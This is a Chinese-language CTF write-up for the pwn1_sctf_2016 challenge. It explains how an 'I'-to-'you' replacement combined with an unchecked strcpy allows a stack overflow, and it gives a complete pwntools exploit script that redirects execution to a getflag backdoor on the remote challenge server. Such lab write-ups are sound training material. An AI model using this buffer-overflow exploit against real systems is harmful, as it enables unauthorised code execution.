pwn1_sctf_2016

pwn1_sctf_2016

逆向分析

image-20250719134800985

依旧是ida分析

image-20250719135301603

可以看到main函数单纯就是调用了vuln这个函数,我们再看看vuln这个函数在干啥。

image-20250719135401155

可以看到这段代码逻辑是十分混乱的看不懂,我们可以猜测,看见了I,you和replace,我们可以猜测它实现了将原先的I替换为了you

可以通过运行这个文件来检查

image-20250719141914330

很明显,这个程序就是我们分析的那样。

image-20250719135755800

我们又在程序里找到了一个后门函数getflag,地址为0x08048F0D,由于strcpy这个函数不检查边界,我们可以通过31*3=93位的栈溢出来攻击它。接下来就是计算需要溢出几位,这个就不能直接用cyclic测出来了。只能看ida上面ebx这个证明是32位程序,所以应该是0x3c+4=64位,所以可以通过21位的I加上1位的a来溢出。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import struct
host = "node5.buuoj.cn"
port = 26832
p = remote(host, port)
# 偏移量
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./pwn1_sctf_2016')
offset = 44
ret_addr = 0x08048ba2
flag_addr = 0x8048F0D
payload = flat(
b'I'*21,
b'a'*1,
p32(ret_addr),
p32(flag_addr)
)
p.sendline(payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

直接执行

image-20250719151123871

成功获取flag

flag:flag{78e87877-03c5-4873-a893-baaa3efe3d60}